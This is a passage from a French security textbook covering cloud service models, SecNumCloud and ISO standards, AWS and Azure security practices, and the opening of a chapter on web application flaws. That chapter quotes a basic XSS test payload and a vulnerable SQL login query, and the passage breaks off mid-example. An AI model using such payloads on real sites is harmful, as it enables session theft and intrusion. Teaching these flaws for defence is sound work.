			Dans ses normes ISO/IEC 17788 et ISO/IEC 17789, l’ISO a ajouté une sixième caractéristique : la multitenance (multitenancy en anglais), qui permet à plusieurs « tenants » (clients ou organisations) de partager la même infrastructure, tout en maintenant une séparation logique et sécuritaire.

			Modèles de service

			Les services cloud peuvent être consommés de différentes façons, notamment :

			IaaS (Infrastructure as a Service) : le fournisseur donne la possibilité d’instancier des machines virtuelles, pour lesquelles les clients peuvent choisir les caractéristiques techniques (dimensionnement, configuration réseau, choix du système d’exploitation) et installer les logiciels de leur choix. On peut distinguer deux catégories d’IaaS :

			

			- Managé : le fournisseur dispose des comptes d’administration des machines virtuelles, dont il gère au moins les mises à jour ; le client peut demander le déploiement de logiciels spécifique à travers une demande de support (ticket).

			- Non managé : le fournisseur n’accède pas aux OS des machines virtuelles ; le client est entièrement autonome dans l’administration de ses systèmes, à travers les protocoles traditionnels (SSH, RDP) ou via la console de l’interface utilisateur que le fournisseur met à disposition.

			PaaS (Platform as a Service) : dans ce modèle de service, le client n’a pas accès aux consoles d’administration des systèmes d’exploitation, ni en self-service ni à travers une demande de support. On peut distinguer deux catégories de PaaS :

			- Services de déploiement de code applicatif, dans lesquels le client dispose d’une interface pour charger ses sources, et les automates mis en place par le fournisseur déploient les couches sous-jacentes (instances de machines virtuelles ou, plus souvent, conteneurs Docker).

			- Offres managées, par exemple des bases de données ou des services Web, que le client utilise sans se soucier de la complexité sous-jacente (configuration OS, gestion des mises à jour, réplication, haute disponibilité, etc.), qui est complètement « masquée » par le fournisseur.

			SaaS (Software as a Service) : le client accède directement à une application hébergée et gérée par le fournisseur cloud ; des exemples classiques de ce modèle sont les messageries Web, les services de stockage et les CRM à la demande.

			L’image suivante, tirée du référentiel SecNumCloud en version 3.1 de l’ANSSI, illustre la répartition de responsabilités entre fournisseurs de services cloud et client, selon les modèles de service :
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			Modèles de déploiement

			Les systèmes d’information peuvent être déployés dans le cloud selon différents modèles :

			Cloud privé : ce modèle regroupe deux cas différents :

			- Une organisation déploie une infrastructure informatique dans ses propres datacenters ou dans des datacenters où elle loue des baies d’hébergement, et met à disposition des ressources informatiques pour ses métiers en mode IaaS, PaaS ou SaaS. Dans ce cas, la direction des systèmes d’Information (DSI) joue le rôle du fournisseur cloud pour les différentes business units (BU) de l’organisation.

			

			- Une organisation formalise un contrat avec un fournisseur cloud pour qu’il lui mette à disposition une infrastructure informatique, avec un mix de ressources dédiées (par exemple des pare-feux et des hyperviseurs) et de ressources mutualisées (par exemple de l’espace de stockage). Le contrat détermine les niveaux de service sur lesquels le fournisseur s’engage, en termes de performance et de sécurité.

			Cloud public : le fournisseur (on parle de géants comme Amazon, Microsoft, Google, Alibaba, Oracle) met ses ressources à disposition du grand public : n’importe qui peut en provisionner et consommer en utilisant sa carte bancaire. Dans ce cas, la relation commerciale est régie par des documents comme les conditions générales d’utilisation (CGU) et de vente (CGV). 

			Cloud hybride : l’organisation essaie de tirer parti du meilleur des différents modèles précédents, en hébergeant par exemple sur un cloud privé les données métier les plus sensibles, et en adoptant un cloud public pour développer rapidement des applications innovantes.

			Technologies

			L’essor du cloud a été rendu possible par deux innovations majeures qui ont révolutionné le monde de l’informatique :

			- Virtualisation : technologie qui permet d’exécuter plusieurs systèmes d’exploitation isolés (machines virtuelles, VM) au sein d’une même machine physique (hyperviseur). L’hyperviseur permet d’émuler intégralement les différentes ressources matérielles d’un serveur physique (telles que l’unité centrale, le CPU, la RAM, le disque dur, la carte réseau).

			Cela a plusieurs avantages :

			• Utilisation optimale des ressources d’un parc de serveurs.

			• Allocation dynamique de la puissance de calcul en fonction des besoins de chaque VM.

			• Installation, déploiement et migration facile des VMs d’une machine physique à une autre.

			

			- Conteneurisation : technologie popularisée dans un premier temps par Docker et ensuite par Kubernetes. Il s’agit d’une forme de virtualisation plus « légère » que la traditionnelle. On ne parle plus de machines virtuelles mais de conteneurs. Les conteneurs permettent d’exécuter plusieurs applications de façon isolée sur un même système d’exploitation (à l’origine Linux). Leur taille peut être plusieurs ordres de grandeur plus petite que celle des VMs, ce qui apporte une agilité de déploiement qui était auparavant impensable, particulièrement appréciée par les développeurs.

			La figure suivante illustre les différentes architectures des deux technologies :

			
				
					[image: ]
				

			

			
				
					
				
				
					
							
							
								
									

									Retour d'expérience et réflexions pratiques

								

							

						
					

					
							
							- Les clouds privés ont encore un temps de retard en matière d’automatisation, d’élasticité et de provisionnement en self-service par rapport aux clouds publics, qui en font leur fer de lance.

							- Les géants du cloud public, conscients que la sécurité est le principal facteur qui freine leur adoption, investissent tous les ans des milliards dans ce domaine et collectionnent les certifications de sécurité.

							- Les entreprises essaient de plus en plus de tirer parti du meilleur des différents mondes, en hébergeant par exemple on-premise ou sur un cloud privé souverain les données métier les plus sensibles, et en adoptant un cloud public pour développer rapidement des applications innovantes. L’interopérabilité est dans ce cas le principal défi, de pair avec la complexité de gestion d’un système d’information multi-cloud.

							- Il est intéressant de s’appuyer sur une démarche d’analyse des risques pour s’orienter dans le choix du bon modèle de déploiement.

						
					

				
			

			Sécurité du cloud privé

			La sécurisation d’une infrastructure de cloud privé repose essentiellement sur les mêmes bonnes pratiques que nous avons étudiées dans les premiers chapitres. Examinons la question à travers les deux points de vue de la relation client-fournisseur.

			

			Client

			Les principaux facteurs attractifs du modèle privé, du point de vue d’un client exigeant sur la sécurité, sont probablement les suivants :

			- Possibilité de faire valoir ses exigences de sécurité spécifiques au niveau contractuel, à travers des clauses personnalisées

			- Possibilité d’exercer un contrôle fort sur le niveau de sécurité en négociant des niveaux de service adaptés à ses besoins (en termes de disponibilité, gestion des vulnérabilités, etc.) et les pénalités dues par le fournisseur en cas de non-respect

			- Possibilité de piloter la sécurité dans la prestation à travers des instances de gouvernance régulières, notamment des Comités de Sécurité (CoSec)

			- Possibilité d’être rassuré sur la localisation des données en territoire national (cf. souveraineté des données)

			- Possibilité d’exercer un rapport de force plus équilibré que dans une relation avec un géant du cloud public

			La sélection du fournisseur revêt une importance primordiale, notamment par rapport à deux risques qui portent un nom similaire :

			- Lock-in (enfermement propriétaire) : dans ce scénario, le client est verrouillé technologiquement à un fournisseur spécifique, ce qui rend une migration vers un autre provider économiquement prohibitive

			- Lock-out (faillite du fournisseur) : dans ce cas, le client reste « enfermé dehors », et peut rencontrer d’énormes difficultés pour récupérer les données hébergées chez le provider défaillant

			Examinons donc, en ordre chronologique, les bonnes pratiques quand il s’agit de choisir un fournisseur de cloud privé :

			- Identification des besoins de sécurité : avant même de commencer la sélection des fournisseurs potentiels, il est important de mettre au clair ses exigences de sécurité, en prenant en compte ses contraintes métier et réglementaires

			- Formalisation des exigences de sécurité dans un cahier des charges, pourquoi pas en se faisant aider par un cabinet de conseil, et lancer un appel d’offres public ou privé, selon son secteur d’activité

			

			- Validation conjointe d’un Plan d’Assurance Sécurité (PAS) avec le prestataire retenu ; ce document a une valeur contractuelle et permet de « graver dans le marbre » les engagements du fournisseur sur la sécurité

			- Identification d’un profil pour le pilotage de la relation avec le fournisseur. Le pilote, qui a la responsabilité de suivre dans la durée le respect des engagements contractuels, peut réclamer des pénalités financières en cas d’écart.

			Fournisseur

			Du point de vue du fournisseur, le sujet de sécurisation d’un cloud privé s’inscrit dans la continuité de la sécurisation traditionnelle d’un système d’information.

			Un très bon référentiel de sécurité est SecNumCloud, de l’ANSSI, qui reprend la structure et la numérotation des chapitres de la norme ISO 27002, en ajoutant des exigences additionnelles, dont voici les principales :

			- Le prestataire doit appliquer le guide d’hygiène informatique de l’ANSSI au système d’information du service.

			- Le prestataire doit documenter et mettre en œuvre une procédure d’enregistrement et de désinscription des utilisateurs s’appuyant sur une interface de gestion des comptes et des droits d’accès. Cette procédure doit indiquer quelles données doivent être supprimées au départ d’un utilisateur.

			- Les interfaces d’administration mises à disposition du commanditaire doivent être distinctes des interfaces d’administration utilisées par le prestataire.

			- Le prestataire doit mettre en place un système d’authentification à double facteur pour l’accès aux interfaces d’administration utilisées par le prestataire et aux interfaces d’administration dédiées aux commanditaires.

			- Le prestataire doit utiliser une méthode de chiffrement des données respectant les règles de l’Annexe B1 du Référentiel Général de Sécurité (RGS).

			- Le prestataire doit distinguer des zones publiques, des zones privées et des zones sensibles.

			

			- Le prestataire doit documenter et mettre en œuvre une infrastructure permettant l’analyse et la corrélation des événements enregistrés par le système de journalisation afin de détecter les événements susceptibles d’affecter la sécurité du système d’information du service, en temps réel ou a posteriori pour des événements remontant jusqu’à six mois. (Cela fait référence à un SIEM).

			- Le prestataire doit documenter et mettre en œuvre une procédure obligeant les administrateurs sous sa responsabilité à utiliser des terminaux dédiés pour la réalisation exclusive des tâches d’administration.

			- Le prestataire doit disposer une ou plusieurs sondes de détection d’incidents de sécurité sur le système d’information du service. (Cela fait référence à des IDS).

			- Le prestataire doit stocker et traiter les données du commanditaire au sein de l’Union Européenne.

			- Les opérations d’administration et de supervision du service doivent être réalisées depuis l’Union Européenne.

			- Le prestataire doit justifier du respect des principes de protection des données pour les traitements de données à caractère personnel mis en œuvre pour son propre compte. (Cela fait référence au RGPD).

			D’autres normes de sécurité qui s’appliquent au cloud, en complément de SecNumCloud, sont :

			- ISO 27001, qui porte sur le système de management de la sécurité de l’information, et s’appuie sur les mesures de sécurité décrites dans l’ISO 27002.

			- ISO 27017, qui complète l’ISO 27002 en ajoutant des mesures spécifiques au cloud computing.

			- ISO 27018, qui porte sur la protection des données à caractère personnel dans le cloud.

			- Référentiel de certification HDS, qui porte sur l’hébergement de données de santé.

			- European Cybersecurity Certification Scheme for Cloud Services (EUCS), promu par l’ENISA, destiné à devenir la référence en Europe.

			Notons que les fournisseurs de cloud public publient généralement tous leurs certificats de sécurité, par exemple :

			- AWS Artifact26.

			- Microsoft Trust Center27.
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							- La sécurité du cloud privé est, au niveau technique, assez proche de la sécurité traditionnelle d’un système d’information ; la nouvelle dimension à prendre en compte est celle du pilotage d’une relation client-fournisseur (contrat, engagements de service, pénalités, comités de suivi, etc.). Du côté du provider, deux profils sont en général nommés pour gérer la relation client : un profil technique (Service Delivery Manager, SDM) et un profil commercial et financier (Account Manager, AM).

							- Le référentiel SecNumCloud est très complet, et le mécanisme d’audit de l’ANSSI très sérieux ; on peut accorder une réelle confiance à la qualification.

						
					

					
							
							- En tant que RSSI d’un fournisseur de cloud, je constate que le niveau d’exigence et de maturité des clients est très hétérogène : certains disposent d’une équipe Sécurité très aguerrie, d’autres n’ont pas de RSSI attitré.

						
					

				
			

			

			Sécurité du cloud public

			Principes généraux

			Le marché mondial du cloud public est largement dominé par quelques acteurs majeurs, notamment Amazon Web Services (AWS), Microsoft Azure, Google Cloud, Alibaba Cloud et IBM Cloud. Bien que chaque fournisseur propose des solutions avec leurs spécificités, il est possible d’identifier des principes de sécurisation communs et applicables à la majorité des déploiements dans le cloud public.

			Gestion des identités et des accès

			La gestion des identités et des accès s’appuie sur les services d’Identity and Access Management (IAM) ; voici les meilleures pratiques :

			- Limiter les droits d’accès des utilisateurs et des services aux ressources strictement nécessaires, selon le principe du moindre privilège.

			- Exiger une authentification multifacteur (MFA) pour les comptes d’administration et idéalement pour tous les utilisateurs.

			- Utiliser des rôles et des groupes d’utilisateurs pour gérer les accès de manière granulaire.

			- Surveiller et auditer régulièrement les habilitations pour identifier les anomalies ou les comptes inutilisés.

			Sécurisation des données

			La sécurisation des données repose sur trois piliers : 

			- Chiffrer les données au repos (disques, bases de données) et en transit (TLS, IPsec).

			- Identifier et classer les données sensibles pour leur appliquer des politiques adaptées.

			- Mettre en place des sauvegardes régulières et tester les restaurations pour garantir l’intégrité des données28.

			Gestion des ressources

			Voici les recommandations les plus importantes au sujet de la gestion des ressources :

			- Durcir les configurations en s’appuyant sur des référentiels comme CIS Benchmarks.

			- Suivre les écarts dans les configurations vis-à-vis des référentiels à travers les services de surveillance nativement disponibles dans les offres de cloud public.

			- Déployer les ressources as code pour garantir des configurations cohérentes et facilement réplicables. On parle d’« Infrastructure as Code » (IaC).

			- Auditer régulièrement les scripts IaC pour détecter des erreurs ou des vulnérabilités.

			- Segmenter le réseau en utilisant des VPC (Virtual Private Cloud), des sous-réseaux (subnets) et des groupes de sécurité pour isoler les ressources.

			- Permettre un accès public aux ressources uniquement lorsque cela est strictement nécessaire.

			Surveillance et journalisation

			Il est crucial d’obtenir une visibilité sur les événements de son système d’information, à travers les actions suivantes :

			- Activation de la collecte des journaux des événements, des accès et des changements.

			- Déployer des solutions de supervision pour détecter les comportements suspects ou les incidents (SIEM, alertes basées sur les métriques).

			

			Résilience

			Répartir ses charges de travail au niveau géographique offre des possibilités de résilience difficiles à atteindre dans le cloud privé. Il est opportun : 

			- D’utiliser des zones de disponibilité et des régions différentes pour garantir la haute disponibilité.

			- De prévoir des mécanismes de basculement (failover).

			- De simuler des incidents pour tester la résilience des systèmes.

			Rentrons maintenant plus dans les détails en analysant les possibilités de sécurisation proposées par AWS et Azure, leaders du cloud public à la date de rédaction de cet ouvrage.

			Sécurité du cloud public AWS

			Lancée en 2006, l’offre Amazon Web Services (AWS) du géant du commerce électronique Amazon occupe quinze ans après la première place dans le marché du cloud public. Son catalogue s’étend année après année, dans un effort d’innovation continue.

			Interfaces d’administration

			Que ce soit à travers le portail web (management console), l’interface en ligne de commande (CLI) ou les kits de développement (SDK), les bonnes pratiques suivantes s’appliquent :

			- Ne pas utiliser le compte root (adresse mail associée aux informations de paiement) pour les interactions day-to-day.

			- Ne pas créer de clés d’accès pour le compte root.

			- Implémenter des restrictions d’accès sans le service IAM en prenant en compte plusieurs critères (identités, ressources, plages horaires, adresses IP, MFA, utilisation de protocoles sécurisés, etc.).

			- Sécuriser les clés d’accès (appliquer une rotation régulière, révoquer ou supprimer les clés inutilisées, ne jamais écrire des clés directement dans le code source (cf. fuites via GitHub !) ; utiliser plutôt les rôles.

			

			- Utiliser, si possible, la fédération d’identités afin de ne pas multiplier les comptes IAM.

			- Suivre les recommandations de Trusted Advisor.

			- Adopter Organizations pour gérer les politiques pour plusieurs comptes rattachés à une même organisation.

			Elastic Compute Cloud (EC2)

			Probablement le service le plus populaire d’AWS, EC2 sert à provisionner des machines virtuelles, en mode IaaS. Voici les meilleures pratiques de sécurisation :

			- Créer des modèles d’images durcis : désactiver les services et protocoles non sécurisés, désactiver les services réseau inutiles au démarrage, supprimer toutes les credentials du système de fichiers, nettoyer les logs.

			- Sécuriser le démarrage : configurer des scripts pour installer les mises à jour, utiliser des outils d’automatisation des configurations (Chef, Puppet, OpsWorks).

			- Utiliser Inspector : agent-based, ce service détecte les vulnérabilités et les non-conformités par rapport aux meilleures pratiques puis génère des rapports.

			- Utiliser Systems Manager, service qui permet une gestion centralisée de la sécurité et du durcissement, à travers l’application de patchs et de configurations.

			Virtual Private Cloud (VPC)

			Ce service permet de créer une architecture qui simule celle d’un réseau traditionnel, composée de sous-réseaux (subnets) qui hébergent des instances de machines virtuelles et de services en mode PaaS. Le service s’appuie sur plusieurs briques de sécurisation :

			- Groupes de sécurité (security groups), qui permettent de cloisonner les systèmes en appliquant des règles de filtrage réseau à l’échelle des interfaces réseau virtuelles.

			- Network Access Control List (ACL), complémentaire aux groupes de sécurité, mais stateless dans leur façon de filtrer le trafic, qui s’appliquent aux sous-réseaux plutôt qu’aux interfaces.

			

			- Elastic Load Balancer, qui offre une première ligne de défense et permet de décharger les instances EC2 frontales du chiffrement et du déchiffrement, avec un support de TLS de bout en bout.

			- Certificate Manager, qui facilite le déploiement des certificats, permettant de gérer les renouvellements de façon automatique.

			- Shield, qui protège contre les attaques par déni de service.

			- Web Application Firewall (WAF), qui identifie et bloque des requêtes malicieuses vers les applications web.

			- VPC Flow Logs, qui permet la journalisation et l’analyse des flux réseau.

			Simple Storage Service (S3)

			Il s’agit d’un service de stockage de données sous forme d’objets (on parle de « stockage objet ») dans des compartiments (buckets). Configuré de façon laxiste, S3 peut se révéler une mine d’or pour des attaquants à la recherche d’informations confidentielles, et être à l’origine de fuites de données. Il est donc important d’adopter les mesures de sécurisation suivantes :

			- Gérer les habilitations selon le principe du moindre privilège en s’appuyant sur les stratégies de compartiment (bucket policies), les ACL et les politiques IAM.

			- Activer le chiffrement côté serveur (Server-Side Encryption, SSE) ou, encore mieux, implémenter le chiffrement côté client (Client-Side Encryption, CSE).

			- Activer la fonction MFA Delete.

			- Activer la fonction Block Public Access.

			- Utiliser les pre-signed URLs pour donner accès aux objets.

			- Pour l’archivage, utiliser S3 Glacier et activer si besoin le verrouillage des coffres (vault lock) pour rendre les archives immuables (on parle de WORM : Write Once, Read Many).

			Protection des secrets

			Les services suivants permettent une gestion sécurisée des informations secrètes, ainsi que de leur cycle de vie, à travers une rotation automatique dans certains cas :

			

			- Key Management Service (KMS) : service multitenant, qui permet de gérer des clés symétriques, sans qu’elles puissent « sortir » du service en clair : l’API traite le chiffrement ou déchiffrement des données transmises en entrée sans exposer les clés. Les droits d’accès aux clés sont configurés à travers de « KMS policies ».

			- CloudHSM : contrairement à KMS, ce service prévoit l’attribution de Hardware Security Modules (HSM) dédiés, en mode single-tenant ; il offre donc plus de sécurité en contrepartie d’un prix plus élevé. Il permet de stocker des clés symétriques et asymétriques.

			- Secrets Manager : ce service, qui s’apparente à un coffre de secrets, permet aux développeurs et aux opérateurs d’éviter d’écrire les secrets dans des fichiers de configuration, ou pire encore dans le code des programmes ou scripts. Les secrets sont stockés, chiffrés et retournés à la volée en réponse à des appels API.

			Bases de données

			AWS propose plusieurs services de bases de données en mode PaaS (services managés), les plus populaires étant Relational Database Service (RDS), pour les bases de données relationnelles classiques, et DynamoDB, pour les bases NoSQL. Les mesures de sécurisation suivantes sont communes aux différents services :

			- Chiffrement des données stockées (data at rest), en s’appuyant sur le service KMS pour la gestion des clés. Certains moteurs offrent la fonctionnalité de Transparent Data Encryption (TDE).

			- Chiffrement des données en transit (data in transit), en activant TLS pour les flux d’échange des données.

			- Gestion fine des droits à travers les politiques IAM.

			Journalisation

			Fonctionnalité très importante pour la sécurité, la journalisation est gérée dans AWS à travers les services suivants :

			- CloudWatch, qui permet une supervision en temps réel à travers la collecte de métriques et de logs. Ce service permet aussi le déclenchement d’événements et de notifications.

			- CloudTrail, qui historise les appels API, cela étant très utile pour retracer les actions d’un attaquant en cas de compromission.

			

			- Athena, qui permet de réaliser des requêtes interactives sur les logs à travers SQL.

			Autres services utiles pour la sécurité

			Ces services peuvent jouer un rôle important dans la démarche de sécurisation d’infrastructures AWS :

			- Security Hub, service de gestion de la posture de sécurité dans le cloud qui effectue des vérifications de bonnes pratiques, regroupe les alertes et permet l’utilisation de la correction automatisée.

			- Config, qui stocke l’inventaire détaillé des ressources et l’historique des configurations ; cette CMDB permet aussi de déclencher des notifications lors des changements et en cas de non-conformité par rapport aux configurations souhaitées.

			- Cognito, qui gère l’authentification et le contrôle d’accès pour les applications web et mobiles, avec la possibilité d’utiliser la fédération d’identités.

			- Lambda, qui permet d’automatiser la réponse aux incidents de sécurité.

			- GuardDuty, service de détection des menaces qui surveille en permanence les activités malveillantes et les comportements non autorisés, y compris à travers des techniques de machine learning.

			- Macie, qui a pour objectif la protection des données sensibles.
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							- Si vous souhaitez approfondir votre connaissance du cloud AWS, sachez qu’Amazon maintient un programme de certifications29. Il peut être intéressant de commencer par la certification Cloud Practitioner, continuer avec la Solutions Architect Associate et viser ensuite la Security Specialty.

							- Même les meilleurs experts ne connaissent pas tous les services fournis par AWS ; en 2021, il y en avait 175, et le nombre ne cesse d’augmenter puisqu'en 2025, il dépasse largement les 200.

							- À travers son service Artifact30, AWS met à disposition ses rapports de conformité en libre-service.

							- AWS propose une offre gratuite31 pour explorer ses services.

						
					

				
			

			Sécurité du cloud public Azure

			Azure est l’offre de cloud public de Microsoft, lancée en 2010. Reprenant la trame de la certification Azure Security Engineer Associate, cette section examine la sécurité des infrastructures Azure sous quatre angles :

			- Gestion des identités et des accès.

			- Protection de ressources.

			- Sécurité des opérations.

			- Sécurité applicative et des données.

			Gestion des identités et des accès

			Le service clé pour la gestion des identités et des accès (IAM) est sans doute Microsoft Entra ID (anciennement nommé Azure Active Directory), qui intègre des fonctionnalités de sécurité très importantes :

			- Authentification multifacteur (MFA), avec une large palette de méthodes de vérification : appel vers le téléphone, SMS, notification via une application mobile, code de vérification provenant d’une application mobile ou d’un jeton matériel (token).

			

			- Accès conditionnel, outil au cœur du plan de contrôle basé sur les identités, utilisé pour réunir des signaux (ex. : emplacement de l’utilisateur, appareil, niveau de risque calculé) et prendre des décisions (ex. : autoriser un accès limité, exiger la MFA, exiger la conformité de l’appareil), selon des stratégies de sécurité.

			- Identity Protection, outil qui permet d’automatiser la détection et la correction des risques liés à l’identité et d’exporter les données de détection des risques vers des utilitaires tiers (SIEM) pour une analyse plus approfondie.

			- Revues d’accès (access reviews), outil pour vérifier régulièrement la pertinence des droits d’accès aux ressources.

			- AD Connect, outil qui permet une gestion des identités hybrides, notamment à travers la synchronisation avec un serveur AD local.

			Un service incontournable dans la sécurisation des identités est Privileged Identity Management (PIM), qui implémente les fonctionnalités suivantes :

			- Fournir un accès privilégié « juste à temps » (just-in-time) à Azure AD et aux ressources Azure.

			- Affecter un accès aux ressources limité dans le temps à l’aide de dates de début et de fin.

			- Exiger une approbation pour activer les rôles privilégiés.

			- Appliquer l’authentification multifacteur pour l’activation des rôles.

			- Utiliser la justification pour comprendre le motif d’activation des utilisateurs.

			- Déclencher des notifications lors de l’activation de rôles privilégiés.

			- Effectuer des revues d’accès pour vérifier que les utilisateurs ont toujours besoin de leurs rôles.

			- Télécharger l’historique d’audit.

			Protection des ressources

			Le principal mécanisme pour protéger les ressources est le contrôle d’accès en fonction du rôle Azure (RBAC Azure). Les principaux rôles définis sont :

			- Propriétaire (owner), qui octroie un accès total pour gérer toutes les ressources, notamment la possibilité d’attribuer des rôles dans Azure RBAC.

			

			- Contributeur (contributor), qui octroie un accès total pour gérer toutes les ressources, mais ne permet pas d’attribuer des rôles dans Azure RBAC.

			- Lecteur (reader), qui permet d’afficher toutes les ressources, mais n’autorise pas à apporter des modifications.

			D’autres mécanismes très utiles sont :

			- Azure Policy, qui aide à appliquer les normes de configuration et à évaluer la conformité à l’échelle des groupes de ressources et des abonnements. Il permet notamment de mettre les ressources en conformité par le biais de la correction en bloc pour les ressources existantes et de la correction automatique pour les nouvelles ressources.

			- Verrous de ressources (locks), qui empêchent les utilisateurs de supprimer ou modifier de manière accidentelle des ressources critiques.

			- Azure Backup, qui permet de sauvegarder des machines virtuelles Azure, des charges de travail SQL, des fichiers stockés dans Azure Files et même des machines VMware locales, avec la possibilité de gérer des stratégies personnalisées et le chiffrement.

			Pour implémenter la sécurité au niveau des réseaux, Azure s’appuie sur les mécanismes suivants :

			- Groupes de sécurité réseau (Network Security Groups, NSG), dont la fonction est de filtrer le trafic réseau à destination et en provenance des ressources Azure dans un réseau virtuel (VNET). Un NSG contient des règles qui autorisent ou rejettent le trafic réseau entrant et sortant vers différents types de ressources, avec la possibilité de spécifier la source et la destination, le port et le protocole.

			- Groupes de sécurité d’application (Application Security Groups, ASG), qui permettent de regrouper les machines virtuelles sur la base des applications qu’elles soutiennent, et définir des stratégies de sécurité réseau basées sur ces groupes.

			- Azure Firewall, pare-feu managé avec haute disponibilité et scalabilité automatique intégrées, capable de gérer des règles de filtrage basées sur des noms de domaine complets (FQDN) et sur de la Threat Intelligence (identification d’adresses IP appartenant à des domaines malveillants).

			- Pare-feu intégré aux ressources : plusieurs types de ressources disposent de capacités de filtrage réseau intégrées ; c’est le cas pour les comptes de stockage (storage accounts), pour Azure SQL, CosmoDB et d’autres.

			

			Pour la sécurisation des machines virtuelles, les mesures de sécurité recommandées sont :

			- Appliquer un durcissement aux instances, idéalement en déployant des images prédurcies disponibles sur la marketplace, par exemple celles mises à disposition par le CIS.

			- Déployer un antimalware sur les instances, le plus naturel étant d’utiliser Microsoft Defender for Servers.

			- Automatiser les mises à jour système, par exemple à travers Update Management dans Azure Automation.

			- Gérer les vulnérabilités à travers une solution d’évaluation intégrée aux instances, comme celle de Qualys.

			- Utiliser Azure Bastion pour la connexion aux instances.

			Sécurité des opérations

			Les trois services incontournables pour exploiter de façon sécurisée les ressources dans Azure sont :

			- Azure Monitor, solution complète de supervision. Toutes les données collectées par Azure Monitor font partie d’un des deux types fondamentaux, les métriques et les journaux d’activité (logs). Les métriques sont des valeurs numériques décrivant un aspect d’un système à un moment précis dans le temps. Les logs contiennent différents types de données organisées en enregistrements. Les données de journal collectées par Azure Monitor peuvent être analysées à l’aide de requêtes qui utilisent le langage Kusto ; cela permet de créer facilement des visualisations à travers des tableaux de bord.

			- Microsoft Defender for Cloud (anciennement Azure Security Center), système de gestion de la sécurité de l’infrastructure unifié, qui permet à une organisation de gérer sa conformité et sa stratégie de sécurité. Parmi ses fonctionnalités, citons la gestion des scans de vulnérabilités, la mappage réseau (network map) et Azure Advisor.

			- Microsoft Sentinel, solution cloud-native et scalable de type SIEM (Security Information and Event Management), qui permet une corrélation des événements avec des techniques d’intelligence artificielle. Microsoft Sentinel intervient à plusieurs niveaux : détection des alertes, visibilité des menaces et réponse face aux menaces.

			

			

			Sécurité applicative et des données

			La maîtrise des données dans le cloud est un volet très important de la gouvernance de la sécurité, d’autant plus que la perte de contrôle sur ses données est une crainte répandue parmi les organisations qui envisagent de passer au cloud public.

			Azure propose, entre autres, les services suivants :

			- Microsoft Purview Information Protection, solution qui permet de découvrir, de classifier et de protéger les documents et les e-mails en appliquant des étiquettes au contenu, par exemple pour identifier des données financières, de santé ou confidentielles.

			- Sécurisation des bases de données, notamment à travers l’authentification, la journalisation et le chiffrement. La technologie Always Encrypted, applicable aux bases SQL, permet de chiffrer les données sensibles en base, de façon transparente pour les applications clientes.

			- Sécurisation du stockage, à travers trois mécanismes principaux : les signatures d’accès partagé (Shared Access Signatures, SAS), le pare-feu de stockage (storage firewall) et bien sûr le chiffrement.

			- Key Vault, coffre sécurisé qui permet de gérer des clés de chiffrement, des secrets (jetons, mots de passe, certificats, clés API…) et des certificats publics et privés.
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							- Si vous souhaitez approfondir votre connaissance du cloud Azure, vous pouvez viser ses certifications. Il peut être intéressant de commencer par la certification Fundamentals, continuer avec la Administrator et obtenir ensuite la Security Engineer.

							- À travers son Trust Center32, Microsoft met à disposition ses rapports de conformité en libre-service.

							- Microsoft propose une offre gratuite pour explorer les services Azure33.

							- Microsoft met à disposition des cours gratuits sur Azure à travers son service Learn34.
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					 https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-145.pdf

				
				
					26 https://aws.amazon.com/fr/artifact/
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					 Certains professionnels de la sécurité utilisent avec humour l’expression « sauvegarde de Schrödinger » pour désigner les backups qui ne font jamais l’objet de tests.
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					30 https://aws.amazon.com/fr/artifact/

				
				
					31 https://aws.amazon.com/fr/free/

				
				
					32 https://www.microsoft.com/fr-fr/trust-center/compliance/compliance-overview

				
				
					33 https://azure.microsoft.com/fr-fr/free/

				
				
					34 https://learn.microsoft.com/fr-fr/training/

				
			

		

	
		
			

			

			Chapitre 6

			Sécurité des applications

			Dans un monde où les applications jouent un rôle central dans les activités des entreprises et le quotidien des utilisateurs, leur sécurité est devenue une priorité absolue. Qu’elles soient accessibles via un navigateur web ou une application mobile, elles constituent souvent des points d’entrée stratégiques pour les attaquants. Une seule vulnérabilité non corrigée peut entraîner des conséquences graves, telles que des pertes de données ou des interruptions de service.

			Ce chapitre explore les principes fondamentaux de la sécurisation des applications, en détaillant les principales vulnérabilités ainsi que les bonnes pratiques de développement et de protection.

			

			Vulnérabilités applicatives

			Le référentiel de vulnérabilités le plus connu dans le monde du développement logiciel est probablement le Top 10 de l’Open Web Application Security Project (OWASP), qui liste les dix vulnérabilités les plus dangereuses pouvant toucher des applications web.

			Un autre référentiel très populaire est le Common Weakness Enumeration (CWE) Top 25, maintenu par le MITRE.

			Examinons les vulnérabilités les plus importantes mises en avant par ces deux référentiels.

			Cross-site scripting (XSS)

			Cette vulnérabilité, qui porte un nom très obscur, voire mal adapté, désigne la faille qui permet à un attaquant d’abuser d’une zone de saisie mal sécurisée dans une page web.

			Le cas le plus fréquent est celui du XSS réfléchi, dans lequel un site affiche sans filtre les données rentrées par un client web (d’où le mot « réfléchi »). L’absence de filtrage permet à l’attaquant d’insérer du code HTML ou JavaScript, qui sera interprété tel quel par le navigateur web de la victime.

			Cela n’a pas l’air bien méchant, peut-être parce que les démonstrations de cette vulnérabilité s’arrêtent en général à l’affichage d’un message d’alerte JavaScript : il suffit pour cela d’entrer dans la zone de saisie vulnérable un texte du type « <script>alert(“XSS”)</script> ».

			Cependant, l’attaquant peut voler les cookies de session de la victime, voire prendre le contrôle de son navigateur à travers un outil comme BeEF (Browser Exploitation Framework Project).

			

			Le XSS stocké se différencie du premier dans la mesure où l’information rentrée par l’attaquant n’est pas immédiatement affichée sur la page web, mais stockée en base de données et affichée seulement plus tard sous certaines conditions. Cela complique considérablement la détection de la faille.

			Injection SQL

			Très courante, cette faille exploite comme le XSS un défaut de filtrage des données rentrées par les clients web. Sa spécificité réside dans le fait que l’attaquant parvient à interagir directement avec la base de données qui stocke les données d’un site.

			Un exemple d’exploitation est décrit ici :

			- Une page web contient deux champs de saisie « Login » et « Mot de passe », et utilise les données rentrées pour construire la requête SQL suivante : SELECT uid FROM Users WHERE name = ‘<login>‘ AND password = ‘<mot de passe hashé>‘;. Quand un utilisateur légitime, nommé Jean, insère des informations d’authentification valides, la requête renvoie un uid et l’utilisateur peut ainsi accéder à son espace personnel ou à une zone protégée du site.

